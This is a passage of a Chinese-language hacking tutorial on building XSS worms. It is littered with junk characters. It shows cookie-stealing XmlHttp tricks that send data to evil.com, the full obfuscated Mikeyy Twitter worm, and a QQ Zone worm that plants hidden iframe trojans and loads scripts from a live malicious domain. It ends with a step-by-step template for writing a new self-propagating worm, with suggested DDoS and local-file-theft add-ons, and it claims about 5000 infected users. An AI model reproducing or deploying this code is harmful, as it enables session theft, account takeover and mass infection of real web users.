复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
* U/ A8 u/ u: T- m1 D9 w1 ]
$ P( l( m& Y9 a8 u5 C9 \1 gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

4 N: h% m$ |. G+ H3 w) mXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
) s0 K1 b7 y9 ]% C' r) _; z
( h. q& H0 Y# E* q! Z3 YXmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
" I; b5 O- p- ~, i9 [
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# R$ f0 y+ Y9 J( F" ]6 U


XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

0 x6 J& Z  j6 g# X' y) eXmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
! |' P4 G+ m. k. s+ M. H2 N% J第一版:
  下载 (5.1 KB)
3 G& |" h9 J  y" \4 ]
8 Z* q7 \  C! t1 H  G# f6 天前 08:27
( v; I. v6 ]1 P/ W( }
: v2 U) {& O7 w% Q4 W第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
% M7 Q/ [) h( _  S+ E' C
   2.   

6 F7 `* I' C& r& s0 @% [2 o1 o   3. function XHConn(){  

" H3 f- Q' s. p. `% \! Z; B   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

) q9 }( Z- N) F5 E$ x. n: z   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
. H& x2 q* u0 {" m1 F' ^
) v) U9 F4 X. w& N% M# s3 ?! Q   3.   var tmp_cookie=document.cookie;  
- F9 h* c  B: h4 N1 S
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
9 d! r4 Z) ~' J
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
: S: [. t* n- j" l
0 }! U/ O# k7 j! p$ P   6.   var authtoken=authreg.exec(content);  

& E4 @" Y, e$ e3 a' g   7.   var authtoken=authtoken[1];  
( J# ]8 E8 ?5 L& u* H) @. W
   8.   var randomUpdate= new Array();  
! _3 G$ e& e, ^, M1 s9 I8 m
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
2 G; C- p2 }) h) |& A- A
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
0 N1 x6 }' p- ^& T
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
# {  K$ @; f2 q8 W2 ]
! P* [" E2 t7 u' t4 \3 H  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
" t/ a+ o  m9 {) Q0 Y- o) |
9 a3 h+ n; U1 N$ ^( p4 K( V/ }  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
, i& k* O) l3 x* t3 \" K4 J
; q, q( J% N6 F  y% m. t  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
4 H# R. z$ X7 I; U* r! x0 ?6 C/ ^' ?
, H. J/ h" v. g) o8 G  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
' O2 F4 Q7 K4 [6 p# L$ c
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
( Q; R, \" i' F$ s
  24.     
# N4 S8 }, ]) N& b8 T3 \1 B
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
$ x% M  G# m  K/ U- q4 s
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

5 _  R. j& e% |8 m) H  ~  27.     
) |( G# P4 `- M* q" R0 y
8 a6 R+ m# I( K5 ]  28.   var ajaxConn= new XHConn();  

; w0 O( q. M* }5 |3 H2 Y% U( s  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  
0 [7 _# o. |0 [, Q
/ `0 P: i! x/ q% e/ E) @  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
6 C: P6 ?& s% g8 A4 B
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

' e5 ^6 S, E, b+ r' a. M  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

+ [9 e& q3 i# Y) E5 s  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

2 p( B1 x( g7 K& `3 M  38.     

  q- P$ V$ c" B" ^, T  39. } ;  

$ Z/ F1 ~7 J( ?  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
3 }# J/ ~2 e5 D! @' e


var shendu;shendu=4;

//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
7 f, H3 j$ a: L$ }$ d
' {+ Y5 b* c  }+ l( T) z& z9 L, ]% Hvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
: s  U3 l, _  `( o0 }/ F. k4 F! O! e4 {
; b/ |% Q8 V5 X' n! _! `0 L8 q9 f8 hvar myblogurl=new Array();var myblogid=new Array();
) o. a& D6 i' f) x0 F7 v
        var gurl=document.location.href;
4 ~2 ^  ?" N  n6 r3 h& i  _$ o  Z
        var gurle=gurl.indexOf("com/");
7 u# \: l, O( r7 F
6 B7 |5 ]% L9 Q" _/ M        gurl=gurl.substring(0,gurle+3);        

" B0 y0 Y& e/ G8 S9 Z        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
6 Z0 u5 h' U1 z8 o# q' j
        visitorID=visitorID.substring(cookieS+14);

6 z4 E: ]2 b( }+ U# u( S        cookieS=visitorID.indexOf(",");
7 Q3 B1 Y* b1 S
) p  u/ N) W) L7 @, F        visitorID=visitorID.substring(0,cookieS);

: K- h( T4 f9 j        get_my_blog(visitorID);
! }- v" C! J# u9 C; a2 W
        DOshuamy();
& V3 F3 U1 A1 e3 f


8 a: t# C, a) h//挂马
3 e) f3 s8 `% A+ I6 Q* ^
9 x  P% v5 E* T  h$ y% U+ {7 Ifunction DOshuamy(){

: q# F1 h5 J, J* E# a0 {var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
6 j9 z; O' {7 ^3 T- j
}
3 D9 [$ W4 c" o. P. `. ~; L

" l$ y2 n/ l7 f- E* G" b4 U
0 s3 k/ ]4 S3 a( d) ]//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
1 ]  J$ b/ u2 Z9 ^& J/ R3 U5 p5 m
7 f( x* |+ N7 r8 Q7 }4 |   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
& J( H" o. O* ?1 V( T
: V& o! `( D* ?' j* C' `     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
  c! L- U: m6 I, L8 G) J9 a9 r
' z! S# a: Q1 U5 P     xhr.send();guest=xhr.responseText;

7 I' s' w3 ]5 p8 B2 o1 Z/ H+ y0 s     get_my_blogurl(guest);    //执行这个函数

. O+ ?! |! A$ P/ [1 I* i; _* m3 W8 W    }

}
# i5 B3 L# @8 O. f% t

8 D9 H  l: `- c# @$ n4 Q: Q: B
//这里似乎是判断没有登录的

function get_my_blogurl(guest){

  var mybloglist=guest;
8 Q/ m# c' z% g& R. y& }) I
7 }: Q; t5 ~! [; z3 J  var myurls;var blogids;var blogide;
" K* @: S$ f8 a5 K3 g
; t6 B: s# P( B  for(i=0;i<shendu;i++){

* z7 Q5 N1 M0 P; G     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

' b) X$ \, U. i' O( C# f     if(myurls!=-1){    //找到了就执行下面的

4 ^2 P" W3 H4 {4 i         mybloglist=mybloglist.substring(myurls+11);
/ V8 c% `  a7 v+ K, k( I
/ X7 P3 G0 a4 Z# r; W# F7 ]% Y         myurls=mybloglist.indexOf(')');
) k" m. I/ i5 b/ A
6 P2 {4 J' @* f* j, ~- H& c, N, K         myblogid=mybloglist.substring(0,myurls);

        }else{break;}

. b" L1 V4 P& p  ~* O/ n}
2 L& e9 A4 r1 d; r4 d$ P
get_my_testself();    //执行这个函数
, A2 F( j8 k- K; q1 C
}
1 J, N) \; t1 ]1 e2 s! P: a. |

& u1 [: y9 c$ O5 @' k% ]
( Z9 Y' D7 s: y//这里往哪跳就不知道了
, Z6 `1 r% W% D: b! |! C# p
function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

: S- L! i0 f5 N: ?0 ^7 h      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
/ k+ Z! c( D: {+ m4 v
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
! x" Q0 v9 F. {* N- p1 h! x
              xhr2.open("GET",url,false);     //打开上面的那个url
. z, _7 m! R0 O, J1 C6 j, R
5 b* P+ R; Z0 x8 Y% E0 C, R" [' v              xhr2.send();
( J$ Y8 j4 J9 r3 O+ M
              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
3 H: Y  O% I  K; Q* q
1 M$ f) b% V& B6 q) [              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
5 O1 w3 E6 C4 b  Q9 ?
7 J+ z6 k: u8 K2 ^) V% P& w              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
5 F5 B4 f$ ]& ?3 I
                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;

" d. ?- Q* e) V  o3 p- v               }
5 D0 h4 O5 r( U0 h4 T- M1 Z
1 e) g. T& z; b1 `: o              if(mycheckit=="-1"){

1 C3 ~; w% l* P' u4 g5 ]                targetblogurlid=myblogid;

! b6 q  y6 k8 i/ [                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
" @- T8 J1 J, O/ o% t
0 _& b  \* X: N               }

5 Y5 |& q# M, o! j0 a3 m        }      

}

7 N7 I! Q( F( d}
. _; s9 @3 u  c7 M. @' U

" Y3 j$ p- x  u: D
& G3 _' Z0 U5 M' E" W1 s2 W//--------------------------------------  
* o* C6 U& ^: B% _; a
//根据浏览器创建一个XMLHttpRequest对象

! J0 Z  \# N; _2 afunction createXMLHttpRequest(){
& K, M! g% [) j: m/ a3 T
" u/ A7 m: q; n. O3 e( s- I: i    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

; r+ \2 c, H* |2 H$ B4 l) ^7 Z    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

( m1 }3 \4 ]) F6 H! t8 W        for(var i=0;i<MSXML.length;i++)  
$ T3 K8 d5 U, Y: l& B# L5 d+ O" b
5 o" h$ ~; f  x( ~; b9 O8 F        {  
* J0 |$ I8 c' S: e* @
            try  

1 _) Y# {# Z) ?  O$ S            {  
0 c/ e0 x6 r3 s4 |( B. N
                XMLhttpObject=new ActiveXObject(MSXML);  
# H4 x/ q6 I. s
3 M4 c) x/ ?5 m" v8 g                break;  
4 |: X  v& h% C% o/ t: F
2 D* S5 h9 Z( j( A- G            }  
& p6 ]) }9 x' L& ?  c7 j
1 B" \3 q4 v; X7 \5 x; a% f            catch (ex) {  

+ o0 e8 x' P) g            }  
, |4 e" @  S0 C& o
6 D" ^4 o! g7 e% ?. [         }  
$ O% \6 ?  x/ b' u
+ D/ `: N8 Z0 |( a      }
8 o6 g4 U1 h1 k& A3 O% c8 u
. d7 v- V% E. Q( ]/ s. J# M; Areturn XMLhttpObject;

}  
7 G. R. \+ [" N6 i* L5 c6 x


, G) E7 J( Q2 ~1 G* M//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
; i6 {  P2 N; X' O1 ~! O" h' [8 @
& u/ g. E! o7 j' ^s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
$ |8 x% i) J1 [4 |5 A! M1 ^
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
3 D/ `3 ~- e  t' g5 p+ O
}
) S9 K+ i. S; b3 N: V* N! ^


function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- t1 E; C0 P3 T9 j4 m: l0 W
3 L1 g( |" F) r0 Ks2.type='text/javascript';

: R. u3 t( T0 O, J1 @document.getElementsByTagName('head').item(0).appendChild(s2);
3 }! d3 f( E5 c  L" X
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
$ c8 C# s' ]* U; Q% V
: b7 W% E+ A5 T: i  {: V2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
. v# ~( e% C/ b# f' ?% u+ Z$ R/ t

5 c7 Q7 q7 z6 M5 y6 ?1 F下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
, [  n; f! D$ M, `& N: p3 w- e
; Z6 Y" L, k1 ^" O2 ?/ u2 `; m; [首先,自然是判断不同浏览器,创建不同的对象var request = false;
$ c8 c0 }. p2 O3 v3 a/ S
if(window.XMLHttpRequest) {

, k6 j! x8 W: U: ~) a- v4 y' A5 urequest = new XMLHttpRequest();

if(request.overrideMimeType) {
$ X' }  a8 C  p0 ^) B2 K) D
6 A* {, A7 S3 o' x- N, @( Frequest.overrideMimeType('text/xml');

5 ~# V, S! n6 j- T" q8 c  S}

, v1 D5 u  r% F; C, p/ u} else if(window.ActiveXObject) {
' M# f6 O6 u; i0 O! ]2 Z, G" G6 o
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
5 @) M, ^3 D' g/ A. T
for(var i=0; i<versions.length; i++) {

6 J9 y4 v1 n( I- ~$ G  \try {
: O0 M7 ]: u& H4 f; i9 n/ x
request = new ActiveXObject(versions);
* t8 c, o4 g! Y$ N& x- G
' w; V* @$ A; k/ r} catch(e) {}
* [$ b! L, Y- _
( ~$ G' ?+ N) o: e}

}
0 F0 h9 C! E9 a
xmlHttpReq=request;
3 O9 L2 G% a' |, ~复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

  ?! Q2 n4 l4 g        var Browser_Name=navigator.appName;
9 I) ^: W$ b" }
7 y. ]6 T$ p9 |; e( c2 {8 D) _        var Browser_Version=parseFloat(navigator.appVersion);
8 k. P8 F) `, s: B4 n! i
        var Browser_Agent=navigator.userAgent;

        
, S' H% t4 A, k. y" v& T" @8 G8 r
! h; b% }3 A* z7 y. \, V: T, _        var Actual_Version,Actual_Name;

. \; V  f. ]8 s" ]3 w* |        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

' y; ?  a8 S9 w4 j- s6 l7 Q3 N        var is_NN=(Browser_Name=="Netscape");

% B' g* E( W' p2 x) L" m        var is_Ch=(Browser_Name=="Chrome");
" `4 g* B! j6 B( v, S7 [0 o
        
8 z- _9 E! ]) U1 y- i1 S
9 P% h# F6 I1 J: |- M  c" r        if(is_NN){
  X& H: C% E) I
% e- V' M) ]% g; v' u2 q            if(Browser_Version>=5.0){
4 t2 [8 R' q+ ?
                var Split_Sign=Browser_Agent.lastIndexOf("/");
0 n& ^2 t8 T& X
+ M2 y4 `2 G4 X/ z6 ?4 J                var Version=Browser_Agent.indexOf(" ",Split_Sign);

. Z$ m: n# {; Y; Y) A                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
7 M- Q$ z4 z9 T" ?+ {
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
& e2 p( t' i' a% D' z* S1 x
            else{
) e* E. }3 X/ a$ k& _, R; a4 A  ]3 {) N
4 S9 v( F2 y$ T" b6 C( z                Actual_Version=Browser_Version;
  ?  U4 o4 N, o. H% N
$ ]! C  m: F( X& o* m# z                Actual_Name=Browser_Name;

            }
3 O+ O/ ]% Q* o, P. U: {. t$ c
        }

) _/ o1 v7 \1 E2 `' Y        else if(is_IE){

3 w& s' \( M4 F; {4 O7 Y6 C% [            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
$ J) a% I6 M5 y
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

' f7 v& m0 K5 ^, K# o  H" U            Actual_Name=Browser_Name;

3 ?0 q% h. J# W  r            
0 _+ H9 z: U1 S. |
7 Y* @/ p4 C1 x3 |8 Y# }: A            if(Browser_Agent.indexOf("Maxthon")!=-1){
' {4 h- {/ S9 v' d3 _
                Actual_Name+="(Maxthon)";

$ y4 S4 ?) E3 v1 e4 W) ?5 I- l            }

4 Q+ d; N& g" K            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
7 [* {9 Q  m* r: k4 [1 d0 j3 d2 f
                var tempstart=Browser_Agent.indexOf("Opera");

, s. A) ]6 v3 X' z. z6 X- {                var tempend=Browser_Agent.length;
5 t8 z+ k1 J! K# T0 u
- ~! V$ Z: s) g! d9 t8 I                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
. q: b" a9 V9 K
' R* }' [9 c9 I            }

        }

1 b. p* a" I0 s        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
3 k7 p- v' G8 }) h% z0 |
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
5 y# q2 {. E7 |! J" ?
            Actual_Name=Browser_Name;
3 P" i( g3 }2 Z: j
, C5 S* ?9 u4 S            
2 H' V+ R% J; \# h
            if(Browser_Agent.indexOf("Maxthon")!=-1){

& F0 L  ], J1 S' G) x0 i0 i                Actual_Name+="(Maxthon)";

            }
1 ?% b1 H) y7 c4 C( g$ h3 {
: G( c2 T& ]. v( J& Q            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
3 D: z8 U2 d; f
; I; w% S+ c+ n. k; e                var tempstart=Browser_Agent.indexOf("Opera");
8 {4 \& p1 b$ D- a
                var tempend=Browser_Agent.length;

$ ]) p3 d$ k+ P! w9 ^/ O2 J                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
9 m6 w9 s% P: Q) P! ^/ Y* |
5 c6 }) s2 W) _% f* k            }
% {6 S( l/ v+ w
1 P& D- p( T# m' g        }

        else{

            Actual_Name="Unknown Navigator"
% @3 ]! N. b, W4 d4 A4 U% b' |- e
            Actual_Version="Unknown Version"
$ N( b$ l8 R1 i5 B
        }
. i6 c; I! i9 L1 C% e" W


( X  Q& @/ i3 o        navigator.Actual_Name=Actual_Name;
" i- t2 R. t2 d% Q
        navigator.Actual_Version=Actual_Version;

' C8 U* t' i* c( Y' ~        

        this.Name=Actual_Name;
$ ?: A# b  z  {) M0 d4 g
        this.Version=Actual_Version;

  Z* y1 Z1 {; E    }

    browserinfo();
* \& \7 p( |4 T! h* I2 J# b/ V& P
3 m% {" R2 Y) Y; o7 P! [8 n; |    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
7 b2 E' |3 J$ {* T7 k
7 k% z1 v! n( L, l    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
( A5 O: B4 [9 t0 d8 x+ m. B
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
% H! e$ x! S: k1 e8 C4 L: t复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
4 K! D- ^4 ^8 ~; A/ j' F复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
7 W* f( Z7 z$ b+ }
9 v# K$ C# }4 e( Y  F6 |xmlHttpReq.send(null);

7 @4 X/ R& }" J, m) Jvar resource = xmlHttpReq.responseText;
" a- S- @% q* ~, q
2 S1 F( L. s3 Evar id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
$ a. Z9 f) {$ m  T7 w
while ((result = patt.exec(resource)) != null)  {
" z, f2 W: U6 G. l2 ]
7 A. N9 S/ C  V$ R3 V8 oid++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
" l5 R; D9 o" G; k; k9 ~- z+ B
no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

( d5 o0 u. K4 U2 @, Y7 `var post="wd="+wd;
4 T% A* @( f2 I- E) ^
! Q  I4 j! C* X/ fxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
: o$ T8 g0 b3 Y5 ]5 D3 g0 D5 _
  o2 T" j5 C/ R4 l( T& R! oxmlHttpReq.setRequestHeader("content-length",post.length);
3 ]6 E1 w( u3 k) Q: p0 I
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
1 w7 L( V, h" m: G) P1 c' v
) u( Z! w5 s& q" t- oxmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
; C1 R8 b" I8 }
$ _; Z( W# Q+ B% evar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
2 z) @$ A+ G4 i2 f% h
, Q/ N1 ?: _7 J/ T' Vvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
' z4 B: h! e: M9 d
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.
0 V( h. x6 }4 \: F* J
}
( I- |* t2 c" D/ N" v7 C7 e复制代码-----------------------------------------------------总结-------------------------------------------------------------------

3 c. q+ r) ?: B# X6 p
9 Q0 W1 M6 c% O) ^3 V
: F3 _' l* ?0 c6 B( ?/ q# F0 m本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
/ B) r  y; V1 G* q# V' y蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
/ f7 j$ a1 {5 o: y+ e) l
5 ?3 C$ {# b1 ?$ i! Y' M0 q. q2 W
2 u- X" b: ~: V+ ~# f' k! z/ V; t2 ?

6 z) t  y6 B0 N$ y3 x
1 e; o, }. p9 I& I


本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
/ H, N: [. \3 _" R5 K3 }3 H"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
1 _) }. E, k% N空虚浪子心BLOG http://www.inbreak.net
) P' W6 b" S7 O. H  M. c: S+ N  NXeye Team http://xeye.us/